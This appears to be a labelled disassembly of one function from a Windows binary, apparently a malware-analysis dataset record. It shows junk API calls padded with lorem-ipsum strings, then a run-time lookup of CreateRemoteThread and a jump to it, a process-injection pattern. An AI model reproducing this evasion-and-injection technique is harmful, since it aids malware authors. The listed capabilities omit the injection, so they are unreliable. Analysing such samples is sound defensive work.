Function at 0x411451
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x138]
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0xa8], rax
mov rax, qword [0x004cacb0]
mov qword [rsp + 0x88], r8
cmp dword [rax], 0x4626
mov qword [rsp + 0x90], r9
jle 0x411bdd
mov rsi, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rsi
mov rax, qword [0x004ca6b0]
lea rcx, str.Iusto_sunt_porro_est_molestiae_est_cupiditate_perferendis_dicta_optio_nesciunt_veniam
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x40], rax
call rax
mov r12, qword [0x004ca620]
mov rax, qword [0x004ca340]
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov edx, dword [r12]
mov dword [rax], edx
xor edx, edx
call r15
mov rax, qword [0x004cabf0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004caa30]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov r13, qword [0x004ca4f0]
mov rax, qword [0x004ca550]
lea rcx, str.DrEmeliaGusikowski
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004cabc0]
lea rdx, str.ArnulfoKunde
mov dword [rax], 0x97c3cc88
mov rax, qword [0x004cac60]
mov dword [rax], 0x1a1fdae0
mov rax, qword [0x004ca720]
mov dword [rax], 0x13cc63f9
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca1d0]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004ca350]
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.MissMarianaLubowitzDVM
mov qword [rsp + 0x70], rax
call rax
mov ecx, 0x4c94be8
call fcn.00414620
mov rbx, qword [0x004ca9d0]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004ca710]
mov r14, qword [0x004ca540]
lea rcx, str.Quis_non_voluptas_reiciendis_nihil_est_veniam_enim_modi
mov dword [rax], 0xafdf2a72
mov rax, qword [0x004caba0]
mov dword [r14], 0x3001a24b
mov eax, dword [rax]
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rbx
mov rax, qword [0x004ca7c0]
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rax], 0xcfb34dae
call rbp
xor ecx, ecx
mov dword [r12], 0x819fd0ee
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r12
mov rax, qword [0x004ca6c0]
mov ecx, 0xd3c137a
mov edx, dword [rax]
mov rax, qword [0x004cac10]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca2a0]
lea rcx, str.TeaganMcKenzieIV
mov dword [rdx], eax
mov rax, qword [0x004cae90]
mov edx, dword [rax]
mov rax, qword [0x004cad50]
mov dword [rax], edx
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004ca630]
mov rdx, qword [0x004ca660]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
mov rax, qword [0x004ca3f0]
mov dword [rax], 0x4c36ef75
call rsi
lea rcx, str.Ut_corrupti_quis_distinctio_et_amet_enim_quod_in_sunt_ratione
call rbx
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call r12
mov ecx, 0xc80c209a
call fcn.00414620
lea rcx, str.Fugit_numquam_soluta_quisquam
mov dword [r14], eax
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004ca810]
mov ecx, 0x4e514989
mov eax, dword [rax]
mov dword [r13], eax
call fcn.00414620
mov rdx, qword [str.7U5]
lea rcx, str.Sit_magnam_atque_quae_ipsa_facere_et_et_qui_velit_perferendis_quo
mov dword [rdx], eax
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cac90]
lea r8, str.Voluptatem_tempora_labore_voluptatem_dolores
mov qword [rsp + 0xb8], r10
mov dword [rax], 0xd3c22402
call r10
mov rax, qword [0x004ca750]
xor r8d, r8d
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov edx, dword [rax]
mov rax, qword [0x004cad90]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
mov dword [r14], 0x49e5e4e8
call rbp
mov ecx, 0x4f084f83
call fcn.00414620
mov rdx, qword [0x004ca5d0]
mov dword [rdx], eax
mov rax, qword [0x004caa40]
mov ecx, dword [rax]
call fcn.00414620
mov rax, qword [0x004cac20]
xor r9d, r9d
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
mov rax, qword [0x004ca380]
mov rdx, qword [0x004ca800]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
lea rcx, str.Quibusdam_amet_in_debitis
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca580]
lea rcx, str.DagmarMarquardt
mov edx, dword [rax]
mov rax, qword [0x004caef0]
mov dword [rax], edx
call rbx
mov rax, qword [0x004ca6d0]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x004ca3e0]
mov dword [rax], 0x200189f1
mov rax, qword [0x004ca270]
mov edx, dword [rax]
mov rax, qword [0x004ca5c0]
mov dword [rax], edx
mov rax, qword [0x004ca400]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca280]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca3c0]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004cae60]
mov dword [rax], 0xeb541e95
mov rax, qword [0x004ca610]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca800]
mov rcx, qword [0x004ca480]
mov dword [rdx], eax
mov rax, qword [0x004cada0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r11, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0xb0], r11
call r11
mov rax, qword [0x004caa00]
xor edx, edx
lea rcx, str.MrAndrewQuitzonDVM
mov dword [rax], 0xac17f833
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
xor r8d, r8d
call r13
mov rax, qword [0x004ca9b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6e425242
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov qword [rsp + 0x70], rax
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x4ee6369c
call fcn.00414620
mov rdx, qword [0x004cad80]
mov r11, qword [rsp + 0xb0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca810]
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
call r11
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
call r12
mov rax, qword [0x004cad10]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
mov rax, qword [0x004ca470]
mov rdx, qword [0x004ca6c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca690]
xor edx, edx
mov dword [rax], 0x647bd832
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
lea rcx, str.Omnis_vitae_explicabo_molestiae_ratione_quaerat_natus_asperiores_molestiae
call rbx
lea rcx, str.Esse_aut_pariatur_sed_qui_delectus_iure
call rbx
mov ecx, 0xc17adaa0
call fcn.00414620
mov rdx, qword [0x004caab0]
mov dword [rdx], eax
mov rax, qword [0x004ca350]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cae70]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004cab10]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca6d0]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
call rdi
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004ca520]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caeb0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
mov rbx, qword [0x004ca440]
mov rax, qword [0x004cad30]
xor ecx, ecx
mov edx, dword [rbx]
mov dword [rax], edx
mov rax, qword [0x004caf20]
mov edx, dword [rax]
mov rax, qword [0x004ca600]
mov dword [rax], edx
call rbp
lea rcx, str.ManuelaEffertz
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004caa30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca3e0]
mov eax, dword [rax]
mov dword [rbx], eax
call rsi
lea rdx, str.MaraMurray
lea rcx, str.Quia_excepturi_illo_voluptatem_totam_molestiae
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0x615f041
call fcn.00414620
mov rbx, qword [0x004ca480]
xor edx, edx
xor ecx, ecx
mov r10, qword [rsp + 0xb8]
lea r8, str.Fugiat_placeat_maxime
mov dword [rbx], eax
mov rax, qword [0x004ca510]
mov dword [rax], 0x8a147796
call r10
mov rax, qword [0x004caf00]
mov ecx, 0xe0253870
mov edx, dword [rax]
mov rax, qword [0x004ca3b0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf30]
mov rbx, qword [0x004ca660]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cabe0]
mov eax, dword [rax]
mov dword [rbx], eax
call rsi
xor edx, edx
xor ecx, ecx
call rdi
lea rdx, str.CreateRemoteThread
lea rcx, str.kernel32.dll
call fcn.00410845
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x98]
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x88]
mov qword [rsp + 0x140], rsi
mov rdx, qword [rsp + 0x80]
mov esi, dword [rsp + 0xa4]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x130], rdi
mov dword [rsp + 0x138], esi
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax